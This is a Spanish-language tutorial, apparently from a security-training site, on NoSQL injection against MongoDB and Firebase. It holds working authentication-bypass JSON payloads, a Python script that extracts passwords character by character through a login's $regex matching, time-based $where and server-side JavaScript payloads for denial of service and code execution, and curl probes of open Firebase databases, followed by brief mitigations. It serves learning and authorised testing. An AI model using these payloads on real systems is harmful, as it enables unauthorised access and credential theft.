Respuesta rápida
NoSQL injection (NoSQLi) ocurre cuando inputs sin sanitizar acaban en queries de bases NoSQL. En MongoDB el vector más común es la inyección de operadores ($ne, $gt, $regex, $where) cuando el body acepta JSON y el código usa Model.find(req.body) directamente. Permite bypass de auth (encontrar al menos un usuario sin saber password), extracción blind via timing/regex, y a veces RCE en setups antiguos.
Contexto: por qué NoSQL es distinto
SQLi rompe la sintaxis del query. NoSQLi reemplaza valores con operadores que el motor interpreta de forma diferente.
Ejemplo en Express + Mongoose:
app.post('/login', async (req, res) => {
const user = await User.findOne(req.body); // ⚠️ pasa todo el body como filtro
if (user) return res.json({ ok: true });
});
Si el cliente manda:
{ "username": "admin", "password": { "$ne": "x" } }
La query se convierte en findOne({username: "admin", password: {$ne: "x"}}) → "encuentra el admin cuyo password no sea 'x'" → matchea cualquier admin con password ≠ "x" → bypass.
Auth bypass clásico
POST /login
Content-Type: application/json
{
"username": { "$gt": "" },
"password": { "$gt": "" }
}
$gt: "" matchea cualquier string. La query devuelve el primer usuario de la collection — frecuentemente admin si está en orden de creación.
Variantes a probar si la primera no funciona:
{ "username": { "$ne": null }, "password": { "$ne": null } }
{ "username": { "$regex": ".*" }, "password": { "$regex": ".*" } }
{ "username": "admin", "password": { "$ne": "" } }
{ "username": "admin", "password": { "$regex": ".*" } }
{ "$where": "1==1" }
Blind extraction con $regex
Cuando la app no devuelve datos directamente pero confirma "login OK / KO":
{ "username": "admin", "password": { "$regex": "^a.*" } }
Si responde 200 → password empieza por "a". Iterar carácter a carácter para extraer el password completo. Sin rate limiting, automatizable en minutos.
import requests, string
password = ""
charset = string.ascii_letters + string.digits + string.punctuation
while len(password) < 50:
for c in charset:
prefix = password + c
r = requests.post("https://target.tld/login", json={
"username": "admin",
"password": {"$regex": f"^{prefix}"}
})
if r.status_code == 200:
password += c
print(f"Found: {password}")
break
else:
break # No char matches → password completo
print(f"Final: {password}")
Time-based blind con $where
Si la app no devuelve diferentes status codes pero ejecuta $where con código JS:
{
"$where": "function() { if (this.username == 'admin' && this.password.match(/^a/)) sleep(5000); return true; }"
}
Mide latencia de la respuesta para detectar match. Útil cuando los responses son idénticos (silent server). Requiere $where habilitado (deshabilitado en MongoDB Atlas y configs modernas).
Inyección en endpoints GET (URL params)
Cuando el backend convierte query strings a operadores:
GET /users?username[$ne]=&password[$ne]=
Express con qs o body-parser extendido convierte automáticamente username[$ne]= en { username: { $ne: "" } }. Si el código pasa req.query directamente al find(), mismo bypass que el body.
Algunos frameworks (default Express qs en versions modernas) ya no parsean profundo. Verificar con:
?username[$ne]=admin
?username[%24ne]=admin (URL-encoded)
Operadores útiles para NoSQLi
| Operador | Uso |
|---|---|
$eq | Igualdad explícita |
$ne | No igual (matchea casi todo) |
$gt | Mayor que ("" matchea todos los strings) |
$lt | Menor que |
$in | Está en array |
$regex | Match por regex (extracción blind) |
$exists | Campo existe (true) o no (false) |
$where | JS arbitrario (deshabilitado en configs modernas) |
$expr | Aggregation expression (más potente) |
$or | Múltiples condiciones |
Otros engines
Firebase Realtime Database / Firestore
Firebase rules son la primera línea de defensa. Si las rules son read: true, write: true (default en quickstarts), la base es completamente abierta.
# Test con HTTP REST
curl https://target.firebaseio.com/.json
curl https://target.firebaseio.com/users.json
Lo que normalmente "se inyecta" en Firebase es acceso directo a paths que no deberían ser legibles. No es injection clásico — es broken access control en las rules.
CouchDB / Cassandra
Patrones similares cuando los queries se construyen dinámicamente con input del cliente. Menos común en bug bounty que MongoDB.
SSJI (Server-Side JavaScript Injection)
Si la app usa Mongo $where con código JS construido dinámicamente:
const code = `function() { return this.tag == "${userInput}"; }`;
db.collection.find({ $where: code });
Inyectando "; while(true){}; var x=", el JS resultante hace busy-loop → DoS. Con process.exit(), mata el worker. Con require('child_process').exec("...") en algunos contextos viejos → RCE.
Hunting checklist
- ¿El endpoint acepta JSON body? Probar
{ "username": { "$ne": null }, "password": { "$ne": null } }. - ¿El endpoint acepta query strings? Probar
?username[$ne]=. - ¿El framework parsea
[$op]automáticamente? Test con un campo claramente erróneo. - ¿El response cambia si la inyección "matchea"? → bypass directo.
- ¿Mismo response visualmente pero diferente timing? → blind via
$regex+sleep. - ¿Hay
$wherehabilitado? Probar JS injection. - ¿Firebase URL pública sin reglas?
curl https://<project>.firebaseio.com/.json. - ¿Endpoints de admin con búsqueda por filtros? Vector frecuente.
Mitigación correcta
- Whitelist de campos esperados. No
User.find(req.body)directamente — extrae solo{ username, password }explícitamente. - Validar tipo. Asegurarse de que
usernameypasswordson strings, no objetos. - Sanitizadores específicos (
mongo-sanitizepara Express). - Schemas con tipos estrictos (Mongoose con
type: String, required: true). - Deshabilitar
$whereen producción.
Labs relacionados
Practica auth bypass con $ne, blind extraction con $regex, y NoSQLi en GET params: labs de NoSQL Injection.
Practica esto en un lab
Nosql Injection
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.
Artículos relacionados
SQL Injection — metodología completa con time-based, UNION y RCE
Detección por isomorphic queries, payloads time-based para 4 motores, escalación a RCE (xp_cmdshell, INTO OUTFILE, UDFs) y bypasses cross-field.
XSS contexts — payloads por contexto (HTML, atributo, JS, URL, CSS)
Cómo identificar el contexto exacto donde se inyecta tu input y los payloads que escapan cada uno: HTML body, atributo HTML, JS string, JS event, URL, CSS, JSON.
Command Injection — bypasses con espacio, encoding y backticks
Inyección de comandos en endpoints que pasan input al shell. Bypasses de filtros: ${IFS}, $@, ;|&, encoded null bytes, output redirection a archivo.